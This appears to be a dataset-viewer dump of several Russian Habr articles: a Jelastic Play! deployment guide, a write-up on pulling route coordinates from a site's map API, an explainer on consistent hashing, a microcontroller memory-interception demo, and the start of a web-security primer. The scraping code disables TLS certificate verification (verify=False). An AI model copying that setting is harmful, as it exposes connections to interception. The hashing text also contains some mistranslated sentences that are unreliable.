text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Play! in the Cloud
Уже длительный период времени мы предоставляем нашим пользователям возможность поучаствовать в усовершенствовании платформы [Jelastic](http://jelastic.com/ru/java-paas) путем голосования за новые фичи. Согласно результатам голосования, мы реализовали в Jelastic поддержку одного из самых популярных фреймворков — [Play!](http://www.playframework.org/).
Давайте рассмотрим небольшой пример того, как задеплоить Play!-приложение в окружение Jelastic.
1. Создайте окружение на Jelastic, это займет всего несколько минут (для примера используем сервер приложений Tomcat 6, базу данных MySQL, имя окружения *playframework*).
2. Зайдите на админ страницу MySQL и создайте нового пользователя и базу со всеми привилегиями (при создании окружения вы получили сообщение на имейл с логином и паролем для входа на админ страницу MySQL).
3. Не забудьте загрузить MySQL коннектор в папку lib (Tomcat).
4. С помощью командной строки запустите Play! фреймворк и установите модуль Jelastic:
`…\play-1.2.4>play
…\play-1.2.4>play install jelastic`
5. После установки модуля создайте новое приложение с поддержкой Jelastic:
`…\play-1.2.4>play new jelasticapp – -with=jelastic`
6. Далее необходимо внести изменения в файл **application.conf** вашего проекта:
* Раскомментируйте часть файла, которая отвечает за конфигурацию аккаунта Jelastic и внесите все необходимые изменения:
*jelastic.api.login=yourmail@domain.com
jelastic.api.password=yourpassword
jelastic.api.context=ROOT
jelastic.api.environment=playframework*
jelastic.api.apihoster=api.jelastic.com
* Pаскомментируйте full JDBC конфигурацию базы данных и внесите изменения, соответственно вашей базе:
*db.url=jdbc:mysql://mysql-playframework.jelastic.com/jelasticapp
db.driver=com.mysql.jdbc.Driver
db.user=jelasticapp
db.pass=jelasticapp*
* Увеличьте db.pool.timeout до 10000мс, так как значение по умолчанию слишком мало:
*db.pool.timeout=10000*
7. Теперь вы можете работать над самим приложением.
8. Чтобы задеплоить созданное вами приложение, пропишите в командной строке следующее:
`…\play-1.2.4>play jelastic:deploy jelasticapp`
Ну вот и все! Можете открыть приложение в браузере.
Напоминаем, предложить новую фичу для Jelastic или проголосовать за фичи других пользователей можно [здесь](http://jelastic.com/?features). Почувствуйте себя частью нашей команды! | https://habr.com/ru/post/139104/ | null | ru | null |
# Как я спарсил WebGL карту с Федерального сайта
Пишу статью для тех, у кого появилась похожая задача, но они не знают как ее решать. Не уверен что мой способ работает везде (недостаточно опытен), но считаю, что если бы я увидел эту статью, загуглив "как парсить webgl" или что-то типо такого, я бы потратил на несколько часов жизни меньше на поиск решения.
Задача (и как у меня НЕ получилось ее решить)
---------------------------------------------
Мне пришел заказ от знакомого: он мне отправляет QR код, я парсю ссылку с куарки, и при переходе по этой ссылке в конце страницы будет карта. На ней нарисован маршрут.
Мне надо спарсить этот маршрут так, чтобы заказчик его мог использовать при составлении идентичного маршрута в своем специальном приложении-навигаторе (или что-то такое).
Парсинг QR-ки был реализован очень легко:
```
def qrParser(pathToImage):
decoded = decode(Image.open(pathToImage))
url = (decoded[0].data).decode("utf-8")
return url
```
А дальше пошла жара.
Я сначала вообще представить не мог как это сделать. Так как это WebGL приложение, в полном подгруженном HTML-JS коде ничего не было. Там это выглядит просто как обьект типа холст (canvas), в который никаких ссылок, яваскриптов не передается. Даже проштудировав многие parent элементы, а также поискав по ключевым классам, ничего путного найдено не было.
В подгружаемых js скриптах тоже ничего понятного обнаружено не было
Сидел я так часа 2-3.
Решение (которое сработало в моем случае)
-----------------------------------------
Далее я решил поискать в network. Это та вкладочка, где показываются по идее все get запросы.
Перезагрузил страницу, долистал до карты. Сбросил историю всех завершенных запросов. И начал отдалять и водить картой туда-сюда. Появились новые запросы, которые должны были подгружать данные карты. Я посмотрел что там: и да, о чудо! В пришедших json'ах были переданы всякие объекты по типу water, grass, road и тд. Я понял, что иду в правильном направлении.
Поизучав все приходящие с самого начала загрузки страницы запросы, я нашел один выделяющийся:
Исходная ссылка: "https://urm.safe-route.ru/check?uuid=ID\_HERE"Он в аргументах содержал абсолютно точный id, который передавался в исходной ссылке, а также имел ключевое слово api, которое также меня зацепило и я решил посмотреть что же интересного мне возвращает этот запрос. БИНГО. Он возвращал json, в глубинах которого передавались точные координаты (вида Долгота/Широта) всех начальных и конечных точек всех линий, из которых строился графически маршрут, что нам и нужно было.
Вот и все, задача сводится к отправке запроса по ссылке "<https://urm.safe-route.ru/>api/claim/resolution/check?uuid=ID\_HERE". Мы получаем json, в котором передается много всяких параметров, но мы выцепляем нужный нам раздел ["geom"]["features"][номеркоординаты]["geometry"]["coordinates"] и забираем из него списки списков координат, переворачиваем координаты, так как они передаются в виде Долгота/Широта, а правильно будет Широта/Долгота и дампим в json
Вот и все, задача сводится к отправке запроса по ссылке "[https://urm.safe-route.ru/](https://urm.safe-route.ru/check?uuid=de4f7ea3-4075-4a43-ac43-036b929569ff)api/claim/resolution/check?uuid=ID\_HERE". Мы получаем json, в котором передается много всяких параметров, но мы выцепляем нужный нам раздел ["geom"]["features"][номеркоординаты]["geometry"]["coordinates"] и забираем из него списки списков координат, переворачиваем координаты, так как они передаются в виде Долгота/Широта, а правильно будет Широта/Долгота и дампим в json.
Исходный response, который нам приходит (там сверху еще много параметров, нам не нужных)Преобразованный json, в котором каждый элемент это координата точки маршрута (с превеликой точностью в пару метров)
```
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0"}
response = requests.get(url, headers=headers, verify=False)
#url мы здесь передаем уже вида "https://urm.safe-route.ru/api/claim/resolution/check?uuid=ID_HERE"
#ведь именно он возвращает нам json с координатами
count = 0
answer = {}
for i in range(len(response.json()["geom"]["features"]) - 1, 0, -1):
geometries = (response.json()["geom"]["features"][i]["geometry"]["coordinates"])
for j in geometries:
j = j[::-1]
answer.setdefault(count, j)
count += 1
json_object = json.dumps(answer, indent=4)
with open("coords.json", "w+") as file:
file.write(json_object)
```
verify=False при get запросе был обязателен, без этого сайт не пропускал по причине отсутствия SSL сертификата у python-инициатора запроса.
Надеюсь, кому-то это сэкономило часы жизни.
P.S. Любые замечания и вопросы приветствуются и будут просмотрены автором. | https://habr.com/ru/post/591229/ | null | ru | null |
# Согласованное хеширование: не самые очевидные вещи
Классический алгоритм согласованного хеширования решает проблемы, присущие алгоритму модульного хеширования, где хеш-функция (позиция ключа K) привязана к числу элементов хранилища – и, соответственно, при масштабировании как вверх, так и вниз, требуется перераспределение *всех* этих ключей.
`# модульное хеширование
hash = key % N of nodes`
В свою очередь, при согласованном **хешировании хеширующая функция не зависит от количества узлов хранения**. Поэтому можно динамически секционировать данные по мере добавления или удаления узлов, тем самым масштабируясь поступательно.
Пространство хеш-таблицы огромное, и его размер не меняется. Часто его называют «кольцом». Каждому узлу хранилища в рамках этого кольцевого пространства присваивается случайный номер.
Каждый элемент данных присваивается некоторому узлу путем хеширования ключа этого элемента, чтобы впоследствии по этому ключу можно было узнать его положение в кольце. Затем, обходя кольцо по часовой стрелке, можно найти первый узел, чья позиция больше, чем у исходного элемента.
Таким образом, каждый узел отвечает за область кольца между собой и предшествующим узлом. Следовательно, при добавлении или удалении узлов требуется перераспределять только те ключи, что попадают в затронутый регион, а не все ключи, как при модульном хешировании.
*Сравнение модульного и согласованного хеширования*
Вот и все. *Хотя, не совсем…*
При согласованном хешировании возникают некоторые вызовы. Самый очевидный из них связан со случайным присваиванием позиций узлов в кольце, что приводит к неравномерному распределению данных и нагрузки. Более того, при удалении или добавлении узла, некоторые данные приходится копировать, извлекая набор ключей из отдельных узлов, а этот процесс обычно неэффективный и медленный.
В этой статье, написанной под впечатлением от работы с [AWS DynamoDB](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf), рассмотрены вызовы, связанные с классическим согласованным хешированием. Здесь мы коснемся различных аспектов масштабирования, как то доступность, согласованность, производительность и надежность. Также здесь поговорим о версионировании и сверке данных, о принадлежности узлов, обнаружении и устранении отказов. Но в этой статье не ставится цель объяснить, как работает DynamoDB; скорее, в ней обобщены универсальные идеи и авторские заметки со ссылками на статью о [AWS DynamoDB](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf). DynamoDB – хранилище ключей и значений от Amazon, характеризующееся высокой доступностью.
### Отображение узла на T-токены
*T-токены на узел*
Чтобы решить при помощи классического согласованного хеширования проблему неоднородного распределения нагрузки и данных, можно отобразить каждый из узлов на T позиции в кольце. Назовем эти позиции «токенами». Когда добавляется новый узел, ему присваиваются T-позиции, случайным образом рассеянные в кольце. У такого подхода следующие достоинства:
* На момент добавления узла его нагрузка примерно такая же, как и у уже имеющихся доступных узлов.
* Когда узел добавляется или становится недоступен из-за отказов, та нагрузка, что обрабатывалась этим узлом, перераспределяется в рамках обратного процесса. Фактически, она в равных долях раздается оставшимся доступным узлам.
### Доступность
**— Репликация**
Репликация данных на множестве узлов – фактор, критически важный для достижения высокой доступности. Каждый элемент данных реплицируется на N узлах. Узел, координирующий запросы на запись, отвечает за репликацию тех элементов данных, что относятся к его диапазону. Он захватывает по часовой стрелке N-1 последующих позиций (токенов) в кольце. Возможно, что первые из последующих позиций ради большей случайности определяется другой хеш-функцией, а сами данные для повышения доступности распределяются по разным дата-центрам.
**[Некоторые полезные определения](https://medium.com/omarelgabrys-blog/consistent-hashing-beyond-the-basics-525304a12ba):**
***N** – это количество реплик для каждого элемента данных, типичное значение 3; **R** – это количество реплик для обмена пакетами ack / reply при операции считывания; **W** – это количество реплик для обмена пакетами ack / presist при операции записи; **S** – это количество узлов в системе; **T** – количество токенов (позиций), соответствующих физическому узлу в кольце; **ключевой диапазон** – это набор ключей, расположенных в кольце и ассоциированных с токеном (а токеном владеет узел).*
**— Всегда доступно под запись**
Общеизвестно, что в мире распределенных систем, где нередко случаются отказы сети и конфликты данных, невозможно достичь высокой согласованности и доступности данных одновременно.
В традиционных алгоритмах принято жертвовать доступностью данных в сценариях отказа, так что доступ к данным закрывается до тех пор, пока не будет абсолютной уверенности в их корректности.
Напротив, можно повысить доступность, учитывая при работе неопределенность корректности ответа, допуская распространение изменений по репликам в фоновом режиме, а также соглашаясь на конкурентную обработку, даже в условиях отсутствия связи.
Проблема с данным подходом – в том, что он может приводить к конфликтующим изменениям, такие изменения потребуется обнаруживать и разбираться с ними. Такой процесс разрешения конфликтов ставит перед нами две проблемы: когда их разрешать, и кто будет их разрешать.
Согласованность
**— Разрешение конфликтов: когда**
Нужно определиться, когда заниматься разрешением конфликтов – в ходе чтения или в ходе записи. Во многих традиционных хранилищах данных конфликты разрешаются в ходе записи, благодаря чему сложность операций чтения остается низкой. Это достигается за счет отклонения операций записи, если хранилище данных не может достучаться до W узлов, из-за чего, фактически, снижается доступность системы.
Перенося разрешение конфликтов на операции чтения, мы гарантируем, что операции записи никогда отклоняться не будут. Операции чтения не будут отклоняться при обнаружении конфликта между версиями данных. Теперь остается решить, кто и как будет разрешать конфликты?
**— Разрешение конфликтов: кто**
Этим может заниматься само хранилище данных или приложение-клиент.
Клиенту известна как схема данных, так и бизнес-логика, соответственно, он может судить о том, как разрешить конфликт. Возьмем, к примеру, корзину заказов. Когда пользователь хочет добавить туда товар (или удалить товар из корзины), а последняя версия корзины заказов недоступна, этот товар добавляется в старую версию корзины (или удаляется оттуда), и сверка данных между расходящимися версиями производится позже. Это изменение все равно значимо и должно быть сохранено. Когда конфликтующие версии обнаруживаются при чтении, приложение-клиент может решить, что лучше эти версии «объединить» и вернуть одну унифицированную корзину с заказами.
С другой стороны, если обработкой конфликтов занято хранилище данных, то набор решений довольно ограничен. В таком случае могут использоваться только простые политики, например логика сверки на основе временных меток, «последняя запись берет верх» (то есть, корректной считается та версия элемента, на которой проставлена наиболее актуальная метка). Хороший пример такого варианта использования – сервис, поддерживающий информацию о пользовательских сеансах.
**— Разрешение конфликтов: как**
*Разрешение конфликта данных*
При помощи версионирования данных удается обнаруживать противоречивые версии и улаживать конфликты между ними – следовательно, обеспечивать согласованность данных. Каждое обновление, выполняемое узлом, расценивается как новая и неизменяемая версия данных. *Версия состоит из пар (узел, счетчик), т.e. [(N, c), …], где N – узел, координирующий запрос на запись.*
Как правило, новые версии вбирают старые, и хранилище данных может само определить ту версию, что верна на настоящий момент.
Однако на фоне отказов в сочетании с конкурентными версиями (параллельное) ветвление версий может приводить к возникновению конкурирующих вариантов одного и того же элемента. В данном случае множество веток данных сливаются в одну. Типичный пример, рассмотренный ранее – «объединение» различных версий пользовательской корзины заказов, выполняемое приложением-клиентом.
Проиллюстрируем потоки задач при чтении и записи:
**Чтение**
1. Узел, координирующий запрос на чтение, запросит имеющиеся версии элемента, получив его ключ со всех N узлов.
2. Затем он дожидается, пока ответят R узлов из имеющихся N.
3. Возвращается результат. Если обнаруживается конфликт версий, а именно, в хранилище данных не состыкуются сверяемые параллельные ветки, то конфликтующие элементы вместе с контекстной информацией об их версиях передаются обратно клиенту. Согласовав расходившиеся ранее версии путем объединения веток, клиент выполняет обновление.
**Записи**
1. Узел, координирующий запрос на запись, сохранит ее на локальном носителе, сгенерирует новую версию и реплицирует на N-1 позициях (токенах). *Клиент должен указать, какую именно версию обновляет. Это делается путем передачи контекста, полученного им от выполненной ранее операции чтения.*
2. Как только ответят W узлов из имеющихся N, считается, что запрос на запись выполнен успешно.
### Производительность
Обеспечение стабильно высокой производительности для операций чтения и записи – сложная задача, так как общая производительность будет не выше, чем у самой медленной ® из имеющихся W реплик.
В некоторых приложениях высокая производительность обязательна, и ради нее можно пожертвовать производительностью (напр. R=1, W=1). Для этого каждый узел хранилища данных поддерживает у себя в памяти буфер объектов. Каждая операция записи сохраняется в буфере, и оттуда записи периодически переносятся в долговременное хранилище. При каждой операции считывания сначала проверяется, присутствует ли в буфере запрошенный ключ. Если да – то объект считывается из буфера, а не из подсистемы хранения.
В результате удается многократно сократить задержки, но приходится пожертвовать надежностью. Сервер может отказать из-за того, что будут пропущены какие-то записи, стоявшие в очереди в буфере.
### Надежность
Чтобы снизить риски, связанные с ненадежностью, тот узел, что координирует запрос на запись, выбирает одну из N-1 реплик, чтобы затем записать информацию в постоянное хранилище данных. А поскольку координирующий узел ожидает только W ответов, производительность операции записи не страдает.
В принципе, если увеличить количество узлов, от которых требуется подтвердить, что операция прошла успешно, то долговечность возрастает, но надежностью приходится жертвовать. Запросы на запись могут отклоняться, если в системе не хватает активных узлов, которые могли бы ответить.
Важно, что репликация элементов данных происходит в разных дата-центрах одновременно. Это повышает выживаемость данных при отказах из-за перебоев с электропитанием, сетевых отказах и природных катастрофах.
### Принадлежность узлов
Когда узлы объединены протоколом, действующим по принципу передачи сплетен, этот протокол распространяет изменения в принадлежности узлов (сообщает, присоединился ли узел к кольцу или покинул его) и поддерживает согласованное в конечном счете представление о такой принадлежности.
Каждый узел ежесекундно подключается к случайно выбранному другому узлу того же ранга, и два этих узла, фактически, согласуют свои долговременные истории внесенных в них изменений.
Следовательно, каждый узел, хранящий данные, осведомлен в том, какие токены обрабатываются другими узлами его же ранга. Поэтому каждому узлу позволено напрямую переадресовать набор операций чтения/записи по ключу именной той группе узлов, которая за эти операции отвечает.
Поэтому исчезает необходимость поддерживать централизованное глобально согласованное представление о состоянии отказа.
### Обнаружение и обработка отказов
Обнаруживая отказы и обрабатывая их, удается обходить без неудачных попыток чтения или записи, при которых доступность и надежность страдали бы даже в условиях простейших отказов.
**— Временные отказы: *направленная отправка***
Узел A может счесть, что узел B временно отказал, если узел B не отвечает на сообщения узла A. После этого узел A выполняет запрос через альтернативные узлы, а также периодически повторяет попытки достучаться до B, чтобы проверить, не восстановился ли тот.
При отсутствии клиентских запросов, которые гоняли бы трафик между двумя узлами, ни один из узлов в самом деле не нуждается в информации, достижим ли другой узел и отвечает ли он на запросы.
Чтобы справиться с такой ситуацией, тот элемент данных, который обычно размещался бы на B, теперь отправляется на узел X (это *временная* реплика B). В метаданных того элемента, что отправлен на X, будет подсказано, какой именно узел задумывался как адресат этой реплики (в данном случае, B).
Узлы, получающие элементы данных с такими подсказками, хранят их в отдельной локальной базе данных, которая периодически просматривается. Как только X обнаружит, что B восстановился, X попытается доставить данные на B. Как только такая передача закончится успешно, X удалит конкретный элемент данных из своего локального хранилища.
При использовании *направленной отправки* мы гарантированно страхуемся от потенциально неуспешных операций записи, которые могли бы не пройти из-за временных отказов узлов и сети.
**— Долгосрочные отказы: синхронизация реплики**
В определенных условиях, например, при отказах узлов, узел B может надолго остаться недоступным, и снабженные подсказками элементы данных могут даже не вернуться к нему.
Чтобы справиться с этой проблемой, применяется реплика протокола синхронизации, использующая [дерево Меркла](https://en.wikipedia.org/wiki/Merkle_tree). Благодаря этому протоколу достигается синхронизация реплик и обнаруживаются несогласованности.
*Обход дерева Меркла*
Дерево Меркла – это дерево хешей, где листья являются хешами значений отдельных ключей. Родительские узлы, расположенные выше по дереву, являются хешами соответствующих дочерних узлов. Важнейшее достоинство дерева Меркла заключается в том, что все его ветки можно проверять независимо друг от друга и при этом параллельно. Более того, дерево Меркла позволяет сократить объем данных, которые необходимо передавать, а также количество операций чтения с диска. Два узла могут обходить каждый свое дерево Меркла, выполняя поиск по общим для них диапазонам ключей, тем самым определяя, есть ли между ними какая-либо разница.
Каждый из узлов поддерживает отдельное дерево Меркла для отдельного диапазона ключей (множества ключей, ассоциированных с токеном), расположенного на этом узле. Благодаря этому узлы могут сравнивать, насколько актуальны ключи в некотором диапазоне ключей.
### Освежим материал
Итак, давайте резюмируем, какие потоки задач выполняются при удалении и добавлении узлов, а также при операциях чтения и записи:
**Добавление узла**
* Когда ко множеству присоединяется узел X, он выбирает в кольце множество случайных токенов.
* Для каждого диапазона ключей, присвоенного узлу X, может существовать некоторое количество узлов, которые в настоящее время обязаны обрабатывать ключи, попадающие в соответствующий диапазон токенов. Поскольку для X выделяются диапазоны ключей, имеющимся узлам более не приходится хранить эти ключи, и узлы передают эти ключи на X.
* Согласуются истории изменения принадлежности узлов, а также поддерживается согласованное в конечном счете представление о принадлежности узлов. При этом информация передается по протоколу, работающему по принципу сплетен (он описан выше).
**Удаление узла**
* Если узел будет удален или окажется недоступен из-за отказов, он списывается навсегда. Следовательно, изменения в принадлежности узлов распространяются с целью уведомить другие узлы о том, что один из узлов был удален.
* Что касается диапазонов ключей, которые обрабатывались удаленным узлом, эти диапазоны случайным образом распределяются по оставшимся узлам. Следовательно, нагрузка распределяется по оставшимся узлам равномерно.
**Операции чтения**
1. Клиентские запросы равномерно присваиваются узлам в кольце; это делает балансировщик нагрузки. При запросе на операцию чтения любой узел может выступить в качестве координатора.
2. Узел, координирующий запрос на чтение, отправит запрос всем N узлам с ключом K и будет ждать ответа от R из N узлов.
3. Собираем данные, определяем, требуется ли их сверка (как обсуждалось выше). Этот процесс называется «чтение с исправлением» (read repair), поскольку исправляет реплики, пропустившие недавние обновления и снимает эту нагрузку с протокола синхронизации реплик.
**Операции записи**
1. В отличие от запросов на чтение, запросы на запись координируются одной из реплик узла, содержащего элемент данных с ключом K. Если узел, получивший запрос, не является такой репликой, то он переадресует запрос одной из N реплик, обладающих заданным ключом K. Такое ограничение возникает потому, что такие предпочтительные узлы дополнительно обременены: им нужно создавать метки для новых версий. Если схема версионирования основана на физических метках, то любой узел может скоординировать запрос на запись.
2. Дожидаемся, пока ответят W узлов из N.
*Библиотека клиента-приложения может обладать информацией о секционировании диска и напрямую перенаправлять запросы к тем координирующим узлам, которые за эти запросы отвечают. В таком случае удается снизить задержку, поскольку экономится лишний сетевой переход – его приходилось бы преодолевать, если бы балансировщик нагрузки присваивал запрос узлу, выбираемому случайным образом.*
### Сложности
* Поскольку токены в кольце выбираются случайным образом, их диапазоны варьируются по размеру. По мере того, как узлы присоединяются к системе и покидают ее, набор токенов меняется и, соответственно, меняются диапазоны. Поэтому стратегия «отображаем узел на T токенов» представляет для нас следующие вызовы:
* Когда новый узел присоединяется к системе, те узлы, что обрабатывают данные из ключевых диапазонов, которые должны быть поручены новому узлу, должны просканировать свои локальные персистентные хранилища и извлечь соответствующий набор элементов данных. Такие операции сканирования очень ресурсоемкие, и их необходимо выполнять в фоновом режиме, так, чтобы у пользователя не возникло никаких проблем с производительностью. Более того, когда задача начальной загрузки выполняется с минимальным приоритетом, сам процесс начальной загрузки серьезно замедляется и в пиковые часы становится обременительным.
* Когда узел присоединяется к системе или покидает ее, меняются диапазоны ключей, обрабатываемые некоторыми другими узлами; в результате требуется пересчитывать деревья Меркла для новых диапазонов, а в продакшене такая операция нетривиальна.
* Наконец, нельзя просто так взять и сделать мгновенный снимок целого пространства ключей, поскольку пространства ключей по определению случайны. Именно поэтому процесс архивации в данном случае осложнен. В данном случае, чтобы заархивировать целое пространство ключей, это пространство требует извлекать ключи с каждого узла отдельно, что очень неэффективно.
Фундаментальная проблема данной стратегии заключается во взаимозависимости между секционированием данных (по токенам) и размещением данных (на узлах для их хранения). Таким образом, невозможно добавить или удалить узлы, не затронув при этом сегментирование данных.
### Отображение узла на T токенов и равновеликих Q-разделов
*T токены на узел и равновеликие Q-разделы*
При такой стратегии хеш-пространство делится на Q равновеликих разделов фиксированного размера (они же – диапазоны ключей), и каждому узлу присваивается T случайных токенов. В данном случае **не токены** определяют, каким будет секционирование, поэтому два последовательных токена не задают ни диапазон ключей, ни раздел (они определяют только позиции узлов в кольце).
У данной стратегии следующие достоинства:
* Секционирование открепляется от размещения разделов. Элемент данных отображается на один из Q-разделов, в зависимости от ключа K этого элемента, тогда как узел, отвечающий за хранение этого элемента данных, выбирается путем обхода кольца по часовой стрелке, начиная с конца раздела, содержащего ключ K. Как только на этом пути попадается первый токен, отыскивается и соответствующий ему узел-хранилище.
* Мы получаем возможность менять схему размещения прямо во время выполнения. Добавление или удаление узла никак не влияет на принадлежность элемента данных к тому или иному разделу (диапазону ключей).
*Q обычно задается так, чтобы Q > S\*T, где S – количество узлов в системе.*
**Правда**, степень случайности присвоенных T-токенов и, следовательно, диапазонов ключей, по-прежнему является дилеммой. Узлы, передающие данные другим узлам, сканируют собственные локальные персистентные хранилища, что замедляет начальную загрузку. Приходится заново рассчитывать деревья Меркла, а мгновенные снимки делать не так просто.
### Отображение узла на Q/S токены и равновеликие Q-разделы
*Q/S токены на узел и равновеликие Q-разделы*
При такой стратегии, как и при стратегии 2, хеш-пространство делится на Q равновеликих размеров, и размещение данных открепляется от секционирования данных.
Кроме того, каждому узлу присваивается Q/S токенов (т.e. T = Q/S).
*Количество токенов изменяется по мере добавления или удаления узлов.*
Когда узел покидает систему, его токены случайным образом перераспределяются между оставшимися узлами, с сохранением имевшихся свойств. Аналогично, когда к системе присоединяется новый узел, он отбирает токены у других узлов системы так, чтобы все свойства системы сохранились.
У этой стратегии есть следующие достоинства:
1. Ускоряется начальная загрузка и восстановление. Поскольку диапазоны ключей в разделах являются фиксированными, они могут храниться в отдельных файлах, и, следовательно, раздел можно перемещать как модуль, просто пересылая файл. Так исключается случайный доступ при попытках найти конкретные элементы.
2. Легкость архивации: файлы разделов можно архивировать отдельно друг от друга. Напротив, при рассмотренных выше стратегиях выбор токенов случаен, и для архивации сохраненных данных требуется извлекать ключи из каждого узла отдельно. Обычно такой подход неэффективный и медленный.
Недостаток этой стратегии в том, что, добавляя и удаляя узлы, требуется сохранять свойства системы (т. e. T = Q/S).
[](https://cloud.timeweb.com/vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/691506/ | null | ru | null |
# Как перестать писать прошивки для микроконтроллеров. Начинаем жить…
И снова мы разбираемся как не писать прошивки для микроконтроллеров. Прошлая статья вызвала у людей много эмоций и, мне кажется, осталось мало кем понята и, может быть, мной плохо было объяснено зачем это все вообще затевалось.
Поэтому подготовил [пример](https://github.com/ser-mk/addrIntercept-example-UART-DMA).
Хотя это всего лишь подправленный сэмпл DMA\_Polling из Standard Peripherals Library.
Но в этом и преимущество такого подхода, что можно использовать все наработки из кода выполняемого на микроконтроллере, в том числе и библиотеки от производителя МК типа HAL или Standard Peripherals Library. И это должно справедливо быть для любого контроллера, который поддерживает openOCD — хоть STM32, Atmel, PIC32 и прочие по [списку](http://openocd.org/). При этом мы можем использовать все библиотеки хостового ПК, а так же пользоваться новыми стандартами языка С++. А если написать обертки, то и вообще можно использовать любой язык. Но я не стал сильно усложнять здесь. Просто решил показать основной функционал и возможности.
В примере, конечно, будем моргать светодиодиком. А так же отсылать данные по UART и по другому UART их принимать с помощью DMA. Использование DMA дает громадный бонус. Зачастую можно будет избавиться от прерываний, которые мы здесь не можем использовать, и поллинга, который из-за моего отладчика работает очень медленно, но тем неменее успевать захватывать данные на интерфейсах. А так же быстро генерировать. Поэтому довольно просто сделать программируемый генератор сигналов и сниффер разнообразных интерфейсов.
Оборудование на котором будем испытывать, осталось со времен [первой статьи](https://habr.com/post/402233/)
*Здесь белым проводком соединил Тх UART1 (PA9 pin) c Rx UART2 (PA3 pin).*
**Если посмотреть на код**
```
const char * message = "AddressIntercept PinTool UART DMA example";
int main()
{
sizeMemoryTranslate_t s = 0;
memoryTranslate *p = getMemoryMap(&s);
pAddrPERIPH = p[0].start_addr;
pAddrSRAM = p[1].start_addr;
init();
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOC, ENABLE);
GPIO_InitTypeDef gpio;
gpio.GPIO_Pin = GPIO_Pin_13;
gpio.GPIO_Speed = GPIO_Speed_50MHz;
gpio.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOC, &gpio);
const size_t _SIZE_MESSAGE = strlen(message);
printf("sending message ");
for (int i = 0; i < _SIZE_MESSAGE; i++) {
/* Send one byte from USARTy to USARTz */
USART_SendData(USARTy, message[i]);
GPIO_SetBits(GPIOC, GPIO_Pin_13);
/* Loop until USARTy DR register is empty */
while (USART_GetFlagStatus(USARTy, USART_FLAG_TXE) == RESET);
printf(".");
fflush(stdout);
GPIO_ResetBits(GPIOC, GPIO_Pin_13);
}
printf("\n");
printf("qty of sent bytes %d\n", strlen(message));
const uint16_t rec = DMA_GetCurrDataCounter(USARTz_Rx_DMA_Channel);
printf("qty of received byte using DMA : %d\n", sizeDMAbuf - rec);
printf("read message from buffer DMA : ");
const uint8_t *pM = (uint8_t *)pAddrSRAM;
for (int r = 0; r < _SIZE_MESSAGE; r++) {
printf("%c", pM[r]);
fflush(stdout);
}
printf("\n");
assert(strncmp(message, (const char *)pM, _SIZE_MESSAGE) == 0);
printf("Received and sent bytes are equal!\n");
return 0;
}
```
То можно увидеть, что за исключением нашей ф-ции преобразования адресов и ф-ций из стандратной библиотеки, все остальное взято SPL от ST, в принципе можно было и из HAL ф-ции использовать. Но мне привычнее старый добрый SPL.
### Как это все собрать и запустить
Это пример для ПК с Ubuntu 16.04 64-bit:
Для начала нужно скачать Pintool v3.7
Распаковать куда удобно, дальше можно либо переменную PIN\_ROOT определить для сборки PinTool клиента либо просто расположить наш клиент в
```
pin-3.7-97619-g0d0c92f4f-gcc-linux/source/tools/
```
Я делаю вторым способом
```
cd pin-3.7-97619-g0d0c92f4f-gcc-linux/source/tools/
git clone git@github.com:ser-mk/AddressIntercept.git
cd AddressIntercept
```
Дальше потребуется собрать 32-битный клиент
```
make TARGET=ia32
```
Бинарник будет лежать здесь obj-ia32/addrIntercept.so. 32-битный требуется, потому как в ARM Сortex такой размер адреса.
Теперь можно собирать и сам пример. Его копирую прям в папку к pintool клиенту
```
cd pin-3.7-97619-g0d0c92f4f-gcc-linux/source/tools/AddressIntercept
Git clone https://github.com/ser-mk/addrIntercept-example-UART-DMA
Cd addrIntercept-example-UART-DMA
Make
```
И получаем в катологе test.elf бинарник. Дальше для простоты эксперимента, положу файл в директорию нашего Pintool клиента AddressIntercept
Перед тем что бы все запускать, нам надо бы создать именованные FIFO для общения с OpenOCD клиентом
```
cd pin-3.7-97619-g0d0c92f4f-gcc-linux/source/tools/AddressIntercept
mkfifo in.fifo out.fifo
```
in.fifo out.fifo — названия по умолчанию для наших клиентов, можно дать и другие названия, но тогда их придется указывать явно при запуске клиентов.
Запустим openOCD клиент, в моем случае ему надо передать ip openOCDсервера, это будет 192.168.0.111, порт оставил стандартный 6666, поэтому не указываю его.
Итак запускаем по порядку
```
cd pin-3.7-97619-g0d0c92f4f-gcc-linux/source/tools/AddressIntercept
python3.5m OCDclient.py -ip 192.168.0.111 &
../../../pin -t obj-ia32/addrIntercept.so -- addrIntercept-example-UART-DMA/test.elf
```
И вывод должен быть такой:
Надеюсь пример наглядный. Уже вполне получился proof of concept, который можно использовать.
Причем должно все работать в том числе на MacOS и Windows (здесь, возможно, придется подправить работу с named fifo или её заменить на то что есть в "окнах").
Дальше, в следующих статьях, если интересно, можно рассказать про REPL как на гифке из предыдущей статьи и другие способы перехвата адресов, без ограничения платформой Intel. | https://habr.com/ru/post/434080/ | null | ru | null |
# Базовые знания в безопасности сайтов
Привет, Хабр!
Безопасность — дело серьезное. И зачастую проблемы в этой области всплывают неожиданно и несут крайне неприятные последствия. Поэтому знания в этой теме крайне важны для каждого веб разработчика.
Оговорюсь сразу — я далеко не профи, но стремлюсь к этому. Поэтому буду рад критике, но лишь объективной. Этот материал для новичков, которые хотят повысить свой профессионализм и ценность, как специалиста.
И еще, я показываю максимально простую реализацию кода. Я знаю про исключения, знаю про ORM, про предусмотренную защиту в фреймворках. Моя цель — показать наглядно, так, чтобы поняли все.
И так, пора заканчивать со вступлением и приступать к практике.
Путь от реализации новичка до сколь-нибудь вменяемого результата
----------------------------------------------------------------
Я не привык работать с теорией. Душа моя жаждет практики. Поэтому, говоря о теме безопасности, мы будем рассматривать практически все типы атак с практической точки зрения — как реализовать и как защититься. Да, вы можете сказать, что обучать взлому — не есть хорошо, но, не зная как происходит атака, мы не можем выстроить грамотную защиту.
### XSS
